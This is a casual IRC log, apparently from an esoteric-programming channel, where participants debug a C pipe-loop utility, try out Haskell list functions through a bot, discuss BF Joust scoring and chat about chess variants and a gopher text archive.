02:14:57 <elliott> shell = argv[2];
02:14:59 <elliott> argv += 2;
02:15:01 <elliott> argc -= 2;
02:15:03 <elliott> }
02:15:05 <elliott> De-uglied :P
02:15:20 <olsner> yeah, I did that quite well
02:15:27 <elliott> olsner: eh? :P
02:15:29 <Deewiant> I'd prefer shell = argv[0] afterwards
02:15:30 <elliott> oh
02:15:32 <elliott> you sneaky
02:15:36 <elliott> Deewiant: *argv[1]
02:15:46 <elliott> wait no
02:15:49 <elliott> yes indeed
02:15:51 <elliott> argv[1]
02:15:52 <elliott> isn't it?
02:15:57 <Deewiant> argv += 2
02:16:06 <elliott> Deewiant: yes
02:16:07 <Deewiant> Hence argv[2] becomes argv[0] :-P
02:16:08 <olsner> or *argv
02:16:11 <elliott> oh right
02:16:17 <elliott> Deewiant: should be ++ then
02:16:25 <elliott> shell = argv[2];
02:16:26 <elliott> argv++;
02:16:27 <elliott> argc--;
02:16:30 <elliott> but wait
02:16:36 <elliott> it should skip both -s and the shell thing
02:16:39 <elliott> so surely it should be += 2
02:16:41 <elliott> aargh
02:17:13 <elliott> argv = {"/bin/catbus", "-s", "blah"};
02:17:21 <elliott> oh rightd
02:17:22 <elliott> *right
02:17:35 <elliott> Deewiant: Why would you want it to be argv[0] before, though?
02:17:37 <elliott> *after,
02:17:38 <elliott> That seems uglier.
02:18:05 <Deewiant> I'd rather it reflect the state afterwards, so I don't have to think about where in argv it is now
02:18:16 <Deewiant> Since the value isn't dropped from argv
02:18:18 <elliott> Deewiant: Doesn't matter, nothing looks at it :P
02:18:20 <augur> copumpkin: :|
02:18:33 <elliott> Deewiant: Arguably I should have a cmds variable that I just set to the correct start.
02:19:43 <olsner> extra variables cost lots of characters, bad for golfing unless you get all of them back somewhere else :)
02:20:37 <elliott> http://sprunge.us/hCCO It's uglier now :P
02:20:57 <Gregor> http://codu.org/tmp/cave-2011-02-05-2.ogg <-- I got inspiration from another channel so you guys can all SUCK IT
02:20:58 <elliott> (Than before it had -s or -v.)
02:21:17 <olsner> Gregor: but who inspired you to go there for inspiration? huh?
02:21:27 <elliott> :D
02:21:33 <Gregor> olsner: ... fail.
02:22:02 <elliott> Gregor: What.
02:22:05 -!- TLUL_ has joined.
02:22:16 -!- TLUL has quit (Disconnected by services).
02:22:16 <elliott> Gregor: This is awesome btw.
02:22:20 <elliott> What was the inspiration>?
02:22:23 <elliott> *inspiration?
02:22:24 -!- TLUL_ has changed nick to TLUL.
02:23:11 <Gregor> elliott: Somebody's writing a slow-paced sort of platformery adventury kind of game, this is supposed to be music for a cave level.
02:23:57 <Gregor> "slow-paced" isn't the right phrase, let's go with "mellow"
02:36:19 <Gregor> BTW: Inspiration for putting the bassoon in: A truck drove by at exactly the right time X-P
02:36:27 -!- Mathnerd314 has quit (Ping timeout: 255 seconds).
02:36:37 <augur> elliott: fix (interleave [0..]) !! n can be computed really easily
02:36:38 <augur> :o
02:36:41 <elliott> Gregor: Do something with a TECHNO BEAT
02:36:43 <augur> using binary
02:36:45 * elliott gets killed
02:36:54 <elliott> > fix (interleave [1..])
02:36:55 <lambdabot> [1,1,2,1,3,2,4,1,5,3,6,2,7,4,8,1,9,5,10,3,11,6,12,2,13,7,14,4,15,8,16,1,17,...
02:36:58 <elliott> > fix (interleave [100..])
02:36:59 <lambdabot> [100,100,101,100,102,101,103,100,104,102,105,101,106,103,107,100,108,104,10...
02:37:05 <Gregor> elliott: Nn-ts-nn-ts-nn-ts-nn-ts-nn-ts-nn-ts-nn-ts-nn-ts-nn-ts-nn-ts DONE
02:37:17 <elliott> Gregor: *Cats-n-boots-n-cats-n-boots-n-...
02:37:33 <Gregor> Oh yeah, that's right :P
02:37:37 <elliott> > fix (flip interleave [0.])
02:37:38 <lambdabot> A section must be enclosed in parentheses thus: (0 .)
02:37:41 <elliott> > fix (flip interleave [0..])
02:37:45 <augur> gsub (binary n) /^(.+)01*$/ "\1"
02:37:45 <lambdabot> mueval-core: Time limit exceeded
02:38:16 <elliott> > fix (0 : flip interleave [0..])
02:38:17 <lambdabot> Couldn't match expected type `[a -> t]'
02:38:17 <lambdabot> against inferred type `m a1...
02:38:23 <elliott> > fix ((0 :) . flip interleave [0..])
02:38:24 <lambdabot> [0,0,0,0,1,0,2,0,3,1,4,0,5,2,6,0,7,3,8,1,9,4,10,0,11,5,12,2,13,6,14,0,15,7,...
02:38:33 <elliott> > fix (interleave [0..])
02:38:34 <lambdabot> [0,0,1,0,2,1,3,0,4,2,5,1,6,3,7,0,8,4,9,2,10,5,11,1,12,6,13,3,14,7,15,0,16,8...
02:38:38 <elliott> heh
02:38:40 <elliott> it's different
02:38:44 <elliott> > fix ((0 :) . flip interleave [1..])
02:38:44 <augur> ofcourse its different
02:38:45 <lambdabot> [0,0,1,0,2,1,3,0,4,2,5,1,6,3,7,0,8,4,9,2,10,5,11,1,12,6,13,3,14,7,15,0,16,8...
02:38:48 <elliott> study that!
02:38:52 <elliott> > fix ((0 :) . flip interleave [1..]) !! 999
02:38:54 <lambdabot> 62
02:38:57 <elliott> > fix ((0 :) . flip interleave [1..]) !! 9999
02:38:57 <Lymia> > interleave [1..]
02:38:58 <lambdabot> Overlapping instances for GHC.Show.Show ([t] -> [t])
02:38:58 <lambdabot> arising from a use ...
02:39:00 <Lymia> What does that even do.
02:39:00 <lambdabot> mueval-core: Time limit exceeded
02:39:07 <elliott> > fix ((0 :) . flip interleave [1..]) !! 1000
02:39:09 <lambdabot> 500
02:39:47 <augur> elliott: check out the binary solution i provided above
02:39:52 <augur> its from a friend. :T
02:40:08 <elliott> hmm
02:40:11 <elliott> now do it with bit twiddling
02:40:17 <augur> easy!
02:40:34 <Lymia> > interleave [1..]
02:40:35 <lambdabot> Overlapping instances for GHC.Show.Show ([t] -> [t])
02:40:35 <lambdabot> arising from a use ...
02:40:38 <Lymia> What does interleave do?
02:40:40 <Lymia> :v
02:40:56 <augur> while n & 1; n >>= 1; end; n >>= 1
02:41:24 <augur> Lymia: interleave takes two lists and interleaves them
02:41:30 <Lymia> Ah.
02:41:42 <augur> > interleave [0,1,2] [10,11,12]
02:41:43 <lambdabot> [0,10,1,11,2,12]
02:42:53 <quintopia> so....
02:43:07 <quintopia> > interleave [1..] [2..]
02:43:08 <lambdabot> [1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13,14,14,15,15,16,1...
02:44:01 <quintopia> is there a function that does intercal's mingle?
02:44:12 -!- Mathnerd314 has joined.
02:45:06 <elliott> quintopia: lol
02:45:11 <elliott> isn't that interleave
02:45:19 <elliott> > interleave [a,b,c] [x,y,z]
02:45:20 <lambdabot> [a,x,b,y,c,z]
02:45:50 <quintopia> no. mingle interleaves bits of numbers!
02:47:50 <elliott> quintopia: yes
02:47:51 <elliott> > bits 123
02:47:52 <lambdabot> Not in scope: `bits'
02:48:02 <elliott> hmm
02:48:03 <elliott> oh right
02:48:22 <elliott> > map testBit [0..]
02:48:23 <lambdabot> Ambiguous type variable `a' in the constraints:
02:48:23 <lambdabot> `Data.Bits.Bits a'
02:48:23 <lambdabot> ...
02:48:26 <elliott> > map testBit [0..] (3::Int)
02:48:27 <lambdabot> Couldn't match expected type `GHC.Types.Int -> t'
02:48:27 <lambdabot> against inferred ...
02:48:34 <elliott> :t map testBit [0..]
02:48:35 <lambdabot> Ambiguous type variable `a' in the constraints:
02:48:35 <lambdabot> `Bits a' arising from a use of `testBit' at <interactive>:1:4-10
02:48:35 <lambdabot> `Enum a'
02:48:42 <elliott> > map (flip testBit) [0..] (42::Int)
02:48:43 <lambdabot> Couldn't match expected type `GHC.Types.Int -> t'
02:48:43 <lambdabot> against inferred ...
02:48:51 <elliott> :t map (flip testBit) [0..]
02:48:51 <lambdabot> forall a. (Bits a) => [a -> Bool]
02:48:59 <elliott> :t mapM (flip testBit) [0..]
02:49:00 <lambdabot> forall a. (Bits a) => a -> [Bool]
02:49:07 <elliott> > mapM (flip testBit) [0..] (42::Int)
02:49:09 <lambdabot> [False,True,False,True,False,True,False,False,False,False,False,False,False...
02:49:25 <elliott> > let bits n = mapM (flip testBit) [0..bitSize n] in bits (1::Int)
02:49:26 <lambdabot> Overlapping instances for GHC.Show.Show (a -> [GHC.Bool.Bool])
02:49:27 <lambdabot> arising f...
02:49:32 <elliott> > let bits n = mapM (flip testBit) [0..bitSize n] n in bits (1::Int)
02:49:34 <lambdabot> [True,False,False,False,False,False,False,False,False,False,False,False,Fal...
02:49:37 <elliott> o_O
02:49:41 <quintopia> lol
02:49:42 <elliott> oh
02:50:24 <elliott> > let bits = mapM (flip testBit) [0..]; mingle m n = interleave (bits m) (bits n) in mingle (2::Int) (3::Int)
02:50:25 <lambdabot> [False,True,True,True,False,False,False,False,False,False,False,False,False...
02:50:29 <elliott> i.e.
02:50:49 <elliott> mingling of 10_2 and 11_2 = 1110_2
02:50:51 <elliott> not sure that's right, but :D
02:52:41 -!- augur has quit (Remote host closed the connection).
02:53:26 <elliott> olsner: ok, as soon as error reporting works, this is catbus 1.0 :P
02:53:33 <elliott> I bet cpressey comes back all OH NO THAT'S NOT HOW IT WAS MEANT TO WORK
02:54:02 <olsner> wow, already
02:58:02 <elliott> olsner: well, I dropped the -s feature.
02:58:05 <elliott> since it's pretty useless really.
02:58:15 <elliott> *sigh*
02:58:18 <elliott> if (fork()) return;
02:58:18 <elliott> dup2(pipes[i ? i-1 : nprocs-1][0], 0);
02:58:19 <elliott> dup2(pipes[i][1], 1);
02:58:19 <elliott> write(2,"hi\n",3);
02:58:19 <elliott> execlp("/bin/sh", "/bin/sh", "-c", cmd, NULL);
02:58:19 <elliott> perror("execl");
02:58:21 <elliott> exit(3);
02:58:23 <elliott> --> hi is never seen.
02:58:28 <elliott> forking + shared fds = happyness??
02:58:41 <olsner> didn't I already say it was an unnecessary feature? :)
03:00:36 <elliott> olsner: aaaand it works before the dup2s
03:00:43 <elliott> conclusion: dup2ing stdin/stdout = no more stderr.
03:01:05 <olsner> hmm, if stderr == stdout, maybe closing stdout will also close stderr somehow
03:01:13 <olsner> but that seems weird too
03:01:28 * elliott writes to fd 3 instead
03:01:39 <elliott> elliott@elliott-MacBookAir:~/Code/catbus$ ./catbus ls 3>x
03:01:39 <elliott> elliott@elliott-MacBookAir:~/Code/catbus$ cat x
03:01:39 <elliott> elliott@elliott-MacBookAir:~/Code/catbus$
03:01:40 <elliott> lol what?
03:01:47 <elliott> conclusion: dup2 BREAKS EVERYTHING
03:02:02 <Lymia> catbus?
03:02:05 <Lymia> What is that supposed be?
03:02:07 <Lymia> A challenge of some sort?
03:02:12 <elliott> A thing!
03:02:27 <elliott> olsner: hmm, i'm gonna remove all the different error codes since i just realised my architecture breaks it :D
03:02:29 <elliott> because spawn does exit(3)
03:02:30 <elliott> but that's the child
03:02:35 <elliott> so it just turns into exit status 1 in the parent
03:02:50 <Lymia> elliott, what is this catbus thing?
03:03:00 <elliott> Lymia: a Unix pipe-fitting utility
03:03:03 <elliott> catbus cmd1 cmd2 cmd3
03:03:03 <elliott> is like
03:03:06 <elliott> cmd1 | cmd2 | cmd3
03:03:09 <elliott> except cmd3 is then tied to cmd1
03:03:12 <elliott> i.e.
03:03:16 <elliott> cmd1's output goes to cmd2
03:03:18 <elliott> cmd2's output goes to cmd3
03:03:21 <elliott> cmd3's output goes to cmd1
03:04:12 <Lymia> Ah.
03:04:18 <Lymia> Where does input to catbus go?
03:04:19 -!- zzo38 has joined.
03:04:36 <elliott> Lymia: The bit bucket :P
03:04:42 <Lymia> =p
03:04:54 <elliott> If I did it in the way I _think_ it might have been intended, it would go to every process. But.
03:05:29 <Lymia> So.
03:05:32 <Lymia> What use would this be again?
03:05:44 <olsner> shell pipe fixpoints
03:06:04 <elliott> what olsner said :
03:06:05 <elliott> :D
03:06:14 <zzo38> I am back now in case you have other question.
03:06:14 <elliott> catbus '(echo y; cat) | tee /dev/fd/2' 2>&1
03:06:17 <elliott> ^ that's the same as "yes"
03:06:18 <olsner> well, pipe fixpoints! the shell isn't necessarily involved
03:06:27 <zzo38> I will fix the thing you said wrong.
03:08:14 <zzo38> OK I fixed it, now it has "#!/usr/bin/env bash" instead of "#!/bin/bash".
03:08:29 <elliott> yay
03:08:35 <elliott> you may want a space after #!
03:08:36 <elliott> some systems require that
03:10:01 <zzo38> elliott: Can you show me where is the document that says that?
03:10:58 <elliott> zzo38: I forget.
03:12:45 <zzo38> I have seen on Wikipedia where it says blanks after ! are OK, but it does not say such things are required.
03:12:56 <elliott> only on some systems
03:13:49 <zzo38> Which systems?
03:14:27 <elliott> don't know exactly
03:14:33 -!- augur has joined.
03:19:02 <zzo38> I did find something that says it is rumored but is not confirmed. "It is rumored that some systems only recognize an executable script when it starts with the four bytes `#! /', probably because the GNU autoconf manual says so, but it seems impossible to find confirmation for this rumor."
03:25:23 -!- Lymia has quit (Read error: Connection reset by peer).
03:25:52 -!- Lymia has joined.
03:26:11 -!- Lymia has quit (Changing host).
03:26:11 -!- Lymia has joined.
03:28:55 -!- elliott has quit (Ping timeout: 240 seconds).
03:38:15 <Gregor> zzo38: That would be one bizarrely-broken system.
03:45:11 -!- Lymia has quit (Read error: Connection reset by peer).
03:45:37 -!- Lymia has joined.
03:45:53 -!- Lymia has quit (Changing host).
03:45:53 -!- Lymia has joined.
03:46:37 -!- azaq23 has quit (Ping timeout: 240 seconds).
03:57:12 <zzo38> Gregor: I do not know of any such system either, I just have it for now without a space after !
04:03:11 -!- Mathnerd314 has quit (Remote host closed the connection).
04:04:19 <Lymia> Gregor.
04:04:36 <Gregor> Lymia: Highlighting: You're doing it wrong.
04:04:41 <Lymia> :<
04:04:46 <Lymia> May I suggest that you modify egojoust to make it run once with + - polarities normal.
04:04:56 <Lymia> Wait.
04:05:15 <Lymia> You run it once with polarities normal, and once with one program's swapped, right?
04:05:45 <Gregor> Yeah, but that's done by report.c, not egojoust.c (IIRC)
04:06:06 <Lymia> egojoust dosn't do that?
04:06:22 <Lymia> Are you sure?
04:06:25 <Gregor> Nope :)
04:06:37 <Gregor> *pokes at the code*
04:07:16 <Lymia> for (polarity = 0; polarity < POLARITIES; polarity++) {
04:07:16 <Lymia> /* set up the polarity */
04:07:22 <Lymia> for (tapelen = MINTAPELEN; tapelen <= MAXTAPELEN; tapelen++) {
04:07:25 <Lymia> Then what's all this in egojoust.c
04:08:12 <Gregor> Lymia: Nope, you're right :P
04:08:19 <Gregor> egojoust does the running in every mode.
04:08:30 <Lymia> Also.
04:08:37 <Lymia> May I ask why those are on the same indentation level.
04:08:43 <Lymia> Confused me for a second when I glanced over the code.
04:08:57 <Lymia> (Wait, what? Why is it looping over the polarities, then entering another loop?)
04:09:06 <Gregor> Anyway, it does run once with polarization normal.
04:09:21 <Gregor> When POLARITY = 3
04:09:28 <Gregor> s/POLARITY/polarity/
04:09:40 <Gregor> Err, vice-versa, when it's 0 :P
04:09:56 <Lymia> Wouldn't it be impossible to tie if you didn't run it with both swapped.
04:10:23 <Gregor> That would give unfair advantage to swap.
04:10:34 <Lymia> Swap?
04:10:43 <Gregor> Both swapped is identical to neither swapped, and one swapped is identical to the other swapped.
04:11:00 <Lymia> Ah.
04:11:44 <quintopia> Gregor: to make it COMPLETELY FAIR, it should run once with all + and - swapped each uniformly at random
04:11:56 <Gregor> lol
04:12:08 <Lymia> Gregor, finally. To get the number of points a program has won, you take abs(return)/(21*4) right?
04:12:14 <Lymia> And if return is zero, it's a tie.
04:12:18 <Lymia> If return is negative, left has won.
04:12:23 <Lymia> And if return is positive, right has won.
04:12:36 <Gregor> Seems that way.
04:16:55 <zzo38> Do you believe how badly the English language functions work in MSE?
04:17:36 <Lymia> MSE?
04:17:47 <zzo38> Lymia: MSE = Magic Set Editor
04:17:53 <Lymia> Ah.
04:17:58 <Lymia> You use that?
04:17:58 <Lymia> :s
04:18:34 <zzo38> Lymia: I used to use that, now I don't because I write a new program called TeXnicard.
04:21:16 <zzo38> In MSE, you get "101th" when converting 101 to English ordinal. In TeXnicard, you get "101st" or "one hundred first" (depending on which command you use).
04:21:52 <zzo38> ("101st" is correct; even Wikipedia says so.)
04:36:15 * Lymia hugs Gregor <3
04:53:53 * Lymia hugs Gregor?
04:54:12 <Gregor> Lymia: Highlighting: You're still doing it wrong.
04:54:22 <Lymia> I'm hugging you!
04:54:35 <Gregor> I'm incorporeal, and as such unhuggable.
04:55:10 <Lymia> :(
05:04:18 -!- azaq23 has joined.
05:05:57 <zzo38> Where do you think chess was invented first, India or China?
05:08:08 <zzo38> Lymia: I do not think you can hug them by computer.
05:08:31 -!- oerjan has joined.
05:08:46 <Gregor> I don't think Chess was "first invented"
05:09:07 <Gregor> Or rather, "invented first" :P
05:09:31 <Gregor> It slowly evolved, it's hard to say which game first in the middle counts as "Chess"
05:10:46 <zzo38> Gregor: Do you know how Xiangqi is played?
05:10:53 <Gregor> Nope
05:11:12 <zzo38> Do you know how Chaturanga is played?
05:11:40 <Gregor> Nope
05:11:45 <Gregor> I barely know how Chess is played :P
05:12:11 <zzo38> Gregor: Why? What things about Chess do you not know?
05:12:44 <Gregor> I know the rules, not how it's played.
05:12:54 <zzo38> Have you never played?
05:13:36 <zzo38> Do you know anything about Xiangqi or Chaturanga at all?
05:16:20 <Gregor> I've played Chess, but that doesn't mean I know how, and I know nothing of the latter two.
05:19:02 <Gregor> Weird question: is there something you can do with sound/music to make it sound better on tinny speakers? Sort of adapt it to the expectation that it'll be played on speakers that suck ...
05:19:13 <zzo38> Chaturanga is not played much any more and is only of historical interest. It is like Chess, but there is no castling, no pawn initial double step, the queen moves one diagonal, the bishop moves exactly two diagonal (leaping), stalemate wins for the stalemated player, and pawns only promote to lost pieces the same as the kind of piece in the that position in the initial setup.
05:21:20 <zzo38> Xiangqi is very popular today and it is also called "Chinese Chess". It is played on 9x10 board, only 5 pawns for each player at the start, horses and elephants cannot jump, there is a river in the middle, kings cannot leave the palace and are not allowed to look at each other, and there is also cannons.
05:21:41 * Sgeo_ has been playing Go
05:22:04 <Sgeo_> What does "look at each other" mean?
05:22:41 <zzo38> Sgeo_: It means they are in the same column and there are no pieces in between. Any move that causes such a position is an illegal move.
05:23:03 <Sgeo_> zzo38, play Go!
05:24:20 <zzo38> Sgeo_: I have played Go, too. I am not very good, but I did play once against someone in my school who was better since he was Japanese. I was better at Shogi, though, than him. He gave me a Shogi game as a gift.
05:25:26 <zzo38> Gregor: About tinny speakers, I don't know, have you tried changing the equalizer?
05:26:00 <Gregor> Yeah, but just poking around at it doesn't really suggest much to me (and I'm no audiophile) ... was hoping somebody would have more specific ideas.
05:26:47 <zzo38> Unfortunately I do not have any more specific ideas. Maybe someone else in this channel might, but I do not think so.
05:29:54 <zzo38> At least it is worth a try.
05:48:14 -!- Lymia_ has joined.
05:48:20 -!- Lymia has quit (Disconnected by services).
05:48:21 -!- Lymia_ has changed nick to Lymia.
05:48:21 -!- Lymia has quit (Changing host).
05:48:21 -!- Lymia has joined.
06:14:12 <quintopia> gregor: there is something you can do. there is, in fact, an algorithm
06:14:28 <quintopia> Look up a device called the zo personal music something or other
06:16:30 <Gregor> That seems more "device" than "algorithm" ...
06:16:40 <Gregor> waitwtf
06:16:52 <Gregor> You just plug it in between speakers and a device?
06:16:57 <quintopia> yep
06:16:58 <Gregor> So it's an expensive algorithm in a shiny box :P
06:17:03 <quintopia> exactly
06:17:42 <Gregor> Has anybody reverse-engineered it though? (Or is it just some well-known algorithm?)
06:18:10 <quintopia> i think it's proprietary. and i've not heard of anyone deblackboxing it.
06:18:20 <Gregor> Hm
06:18:31 <quintopia> this is an existence proof. sorry i couldn't be more constructive.
06:18:36 <Gregor> Heh :)
06:31:07 <Lymia> Gregor, meh.
06:31:16 <Lymia> First version of the BF joust evolver.
06:31:31 <Gregor> "Meh" doesn't sound like "COMPLETE SUCCESS"
06:31:45 <Lymia> Clone->Mutate->Fight->Isolate highest scoring bots->Clone->...
06:31:59 <Lymia> I might add crossovers, etc if I can figure out a sensable way to add them.
06:34:29 <Lymia> Gregor.
06:34:30 <Lymia> Quick question.
06:34:37 <Lymia> (a{b}c{d}e)*2
06:34:44 <Lymia> That is evaluated as aabccdee right?
06:35:09 <Gregor> Why do you expect me to remember things I wrote so long ago X-P
06:35:17 <Lymia> Dunno!
06:35:39 <Gregor> I'm sure ais would have yelled at me if I'd done it wrong.
06:36:10 <Lymia> !bfjoust test {<}
06:36:50 <Gregor> EgoBot: Hello?
06:37:36 <EgoBot> Score for Lymia_test: 0.0
06:37:48 <Gregor> lawl *sleep*
06:43:12 -!- Zuu has quit (Read error: Connection reset by peer).
06:43:15 -!- Zuu_ has joined.
06:46:58 <oerjan> Lymia: my reading of the wiki page spec is that that is not necessarily legal syntax, i don't know what implementations actually do.
06:47:58 <oerjan> in fact i think at least one implementation used a pushdown automaton method which wouldn't support that
06:48:06 <oerjan> (very vaguely recalled)
06:50:24 <oerjan> Lymia: in fact the command about needing square bracket matching doesn't make sense as written with your syntax
06:50:27 <oerjan> *comment
06:50:34 -!- azaq23 has quit (Ping timeout: 255 seconds).
06:51:20 <oerjan> there's probably some way to rewrite it so it does, though
06:52:41 <oerjan> well just requiring bracket matching in c would work
06:54:00 <oerjan> hm or maybe you actually just need to consider matching in ace as a whole
06:54:05 <oerjan> (in addition to b, d
06:54:47 <oerjan> )
06:56:54 <oerjan> hm lessee
06:58:35 <oerjan> ([[{}]{}])%2 then = [[[[ ]] ]] but there's a subtlety: one of the two ]'s arising from the middle does _not_ match a [ arising from the one it syntactically matches originally
06:58:46 <oerjan> which seems unintuitive to say the least
07:00:31 <oerjan> which means that for all _real_ purposes, you probably want to just use (a{b(c)*nd}e)%n instead
07:01:14 <oerjan> well naturally you could rewrite the (a{b}c)%n as (a)*n b (c)*n too
07:01:25 <oerjan> oh wait no
07:01:45 <oerjan> it's precisely when _not_ each of a and c match separately it's useful
07:03:00 <oerjan> oh and my "unintuitive" above can also be taken to mean "cannot be run efficiently without actually expanding it to what it's an abbreviation of"
07:03:15 <oerjan> well not obviously anyway
07:03:48 -!- Lymia has quit (Read error: Connection reset by peer).
07:04:17 -!- Lymia has joined.
07:04:57 <zzo38> Do you have any public domain copy of the deutrocanonical books?
07:05:13 <zzo38> (Also known as apocrypha)
07:06:48 <pikhq> Pretty sure there should be some translations thereof on Project Gutenberg.
07:07:35 <zzo38> pikhq: OK. I have a full copy of the KJV in my gopher service but the other books that are not included in KJV still have to be added.
07:09:26 <quintopia> zzo38: why are you collecting the christian mythos?
07:09:55 <pikhq> zzo38: The KJV should actually have the apocrypha.
07:10:50 <quintopia> pikhq: really? i've never known it to?
07:10:53 <zzo38> quintopia: I have various plain ASCII text files collected.
07:11:01 <pikhq> zzo38: Though not doctrine, they are considered "important" and "divinely inspired" in the Anglican church.
07:11:23 <pikhq> quintopia: Some printings may omit it, but it *is* a part of the same translation.
07:11:42 <quintopia> zzo38: do you use them for anything?
07:12:09 <zzo38> quintopia: Sometimes I look, but mostly it is just for service.
07:12:19 -!- Lymia has quit (Changing host).
07:12:19 -!- Lymia has joined.
07:12:42 <quintopia> zzo38: is it a public collection on the web?
07:12:44 <pikhq> quintopia: http://en.wikisource.org/wiki/Bible_%28King_James%29/1_Esdras Here's the start of the King James Apocrypha.
07:13:12 <zzo38> quintopia: It is publicly available at: gopher://zzo38computer.cjb.net/1textfile and at http://zzo38computer.cjb.net/textfile/
07:15:07 <zzo38> They are not currently accessible by teletype or fax.
07:15:50 <quintopia> ah, so you do have a sense of humor :P
07:16:25 <quintopia> so what did you think of ETAS? you're the one who inspired it, surely you have a comment.
07:16:57 <zzo38> Just let me look one more time.
07:17:40 <zzo38> I think it is not bad.
07:18:58 <zzo38> I think I have once read a letter someone sent to some magazine where they suggested calling 2 bits a "crumb".
07:19:07 <quintopia> zzo38: is this also a mirror of textfiles.com?
07:19:26 <quintopia> oh that's not a bad idea. i might change it to that.
07:19:41 <zzo38> quintopia: Some of the files are such a mirror. Others I added myself.
07:19:59 <zzo38> Also, it is does not have all of the textfiles.com files either.
07:20:03 <quintopia> ah
07:22:13 <Sgeo_> EAT?
07:22:15 <Sgeo_> EATS/
07:22:18 <Sgeo_> ETAS>
07:22:22 <Sgeo_> GAHAhAHAHA
07:22:25 <zzo38> Actually here is a proper URL: gopher://zzo38computer.cjb.net:70/1misctext
07:22:32 <zzo38> (The other URL is wrong)
07:22:47 <quintopia> the http URL worked tho, and ff doesn't support gopher anymore anyway :P
07:23:06 <Sgeo_> My mind has given up the gost
07:23:08 <Sgeo_> ghost
07:23:17 <quintopia> sleep then?
07:23:23 <quintopia> you know it's almost 3 in the morning right?
07:23:24 <Sgeo_> I need to eats
07:23:41 <quintopia> zzo38: do you think ETAS is TC? intuitionally?
07:24:58 <zzo38> quintopia: I find that question difficult.
07:25:19 <quintopia> me too, but i feeeeeel like it might be.
07:25:21 -!- asiekierka has joined.
07:25:41 <zzo38> Yes, it might be.
07:26:04 <zzo38> If ff doesn't support gopher anymore, use a different client such as Bash Gopher.
07:26:27 <quintopia> nah
07:26:52 <zzo38> That is OK; you do not have to. These files are available on HTTP as well.
07:28:41 <quintopia> are you in quebec?
07:29:47 <zzo38> No. You should be able to see my service provider is not in Quebec?
07:31:50 <quintopia> i didn't bother to whois you :P
07:32:43 <zzo38> I will tell you, I am in British Columbia. But even IRC protocol sends the address with each message, too.
07:33:36 <quintopia> ...do you use raw irc?
07:35:12 <zzo38> I use a IRC client I wrote by myself. I think it is the only one following the RFC, someone on this channel tested that, I think.
07:36:34 <pikhq> quintopia: zzo38 *is* in fact a native English speaker. His usage of English is just decidedly odd.
07:37:12 <quintopia> i had concluded as much
07:37:45 <quintopia> i had to ask though because his usage is very similar to a non-native speaker I know in Quebec
07:38:29 <pikhq> And yet, he's not Quebecois. Go figure.
07:39:38 <quintopia> zzo38: what did you write it in?
07:40:35 <zzo38> quintopia: PHP, but if I ever rewrite it, it will not be in PHP. And it uses PuTTY as a terminal window.
07:40:44 <zzo38> Can't you check that using VERSION command?
07:41:31 <quintopia> sure can! :P
07:41:51 <quintopia> but your description of it was better
07:42:17 <quintopia> in which way is it the only one following the RFC?
07:44:07 <zzo38> I think it is the only one where CTRL+A and commands can be placed in the middle of another text. I think someone on this channel has tested that feature.
07:45:10 <zzo38> I mean, it is the only one that will accept commands in that way.
07:45:24 <zzo38> (Other clients just ignore such commands)
07:45:49 <quintopia> oh you mean it won't put the ^A character in the middle of a message?
07:45:53 <quintopia> for instance
07:46:00 <Sgeo_> zzo38, have you ever used a different IRC client?
07:46:37 <zzo38> Sgeo_: Yes once, and it isn't very good that is why I wrote my own.
07:46:37 -!- myndzi has quit (Read error: Connection reset by peer).
07:47:09 -!- myndzi has joined.
07:47:21 <zzo38> quintopia: My client will allow putting any characters anywhere in a message. What I mean is when ^A character is in the middle of a message, other clients will ignore it, while my client will accept and understand the command.
07:47:56 <quintopia> i sort of get it, i guess?
07:48:33 <zzo38> You might be able to find that in the IRC logs for this channel.
07:48:41 <quintopia> right
07:52:12 <zzo38> echo misctext/dream | nc -q -1 zzo38computer.cjb.net 70 | less
07:53:39 <quintopia> why?
07:54:52 <zzo38> Apparently someone (not me) had a dream once that ended in credits.
07:54:58 <quintopia> i saw that
07:55:04 <quintopia> is the * really you
07:55:49 -!- Lymia_ has joined.
07:55:55 <zzo38> I am not sure actually. Since it is a dream, I do not know if I can remember accurately or not.
07:56:11 -!- Lymia has quit (Disconnected by services).
07:56:12 -!- Lymia_ has changed nick to Lymia.
07:56:13 -!- Lymia has quit (Changing host).
07:56:13 -!- Lymia has joined.
07:56:57 <quintopia> i remember several of my dreams. not accurately probably, but i do know it was me that had the dream
07:57:34 <quintopia> sometimes i've had dreams that i was convinced would be great movie or tv show inspirations
07:58:18 <quintopia> zzo38: what is your primary language of choice? like if you just wanted to throw together a tool real quick?
07:58:36 <zzo38> quintopia: It depends a lot on what tools I wanted to throw together.
07:59:04 <quintopia> okay? example?
07:59:59 <zzo38> I have used shell scripts for some things, Forth for some things, C for some things, Javascript for some things, QBASIC for some things, PHP for some things.....
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:00:29 <quintopia> wow
08:01:03 <zzo38> And also AWK.
08:01:19 <quintopia> never quite got the hang of awk...
08:03:04 <zzo38> One of the utility programs that comes with TeXnicard for making a book from the "plain.cards" file is written in awk. I also wrote a program in awk to calculate totals and summaries from logs of drive wiping.
08:03:48 <quintopia> when do you use Forth?
08:04:53 <zzo38> I have once written a quick program in Forth to decode the level files from StroQ.
08:05:57 <quintopia> the most i ever did with forth is the first few PE problems. then i got pissed off at its data types and how hard it is to do floating point stuff and gave up
08:06:09 -!- hagb4rd has joined.
08:11:23 <zzo38> The reason for that conversion program was because I was porting that game to the GameBoy.
08:15:13 <quintopia> i'm not familiar with the game actually
08:19:26 <zzo38> I have the ROM file, which I have wrote it myself.
08:20:04 <quintopia> i don't have a gameboy
08:20:22 <quintopia> one time i wanted to port conquest to my calculator, but i never did it
08:20:37 <zzo38> quintopia: You can also use a emulator.
08:20:50 <quintopia> oh, yeah.
08:20:59 <quintopia> what is the original written in?
08:22:21 <zzo38> quintopia: I don't know. I rewrote the game engine and just copied some of the levels. But I added some of my own levels and other stuff too, to make 256 levels in total.
08:22:48 <quintopia> mmm
08:25:39 <zzo38> Do you know? Some business had a form you have to fill for booking annual leave (holiday/vacation), but you had to select a reason from the list. The list included, as well as "Holiday", also things like "Acne", "Authorised Sabatical Leave", "Compassionate", "Ear Infection", "Hearing Loss", "Ill", "Sickness", "Drug Abuse / Dependance", "Surgery - Thumb", "Pelvic(F Only) C Mskele other", and others.
08:26:16 <quintopia> where did you find this?
08:26:41 <zzo38> I think it was on Daily WTF.
08:27:05 -!- nddrylliog_ has joined.
08:27:23 <quintopia> oh
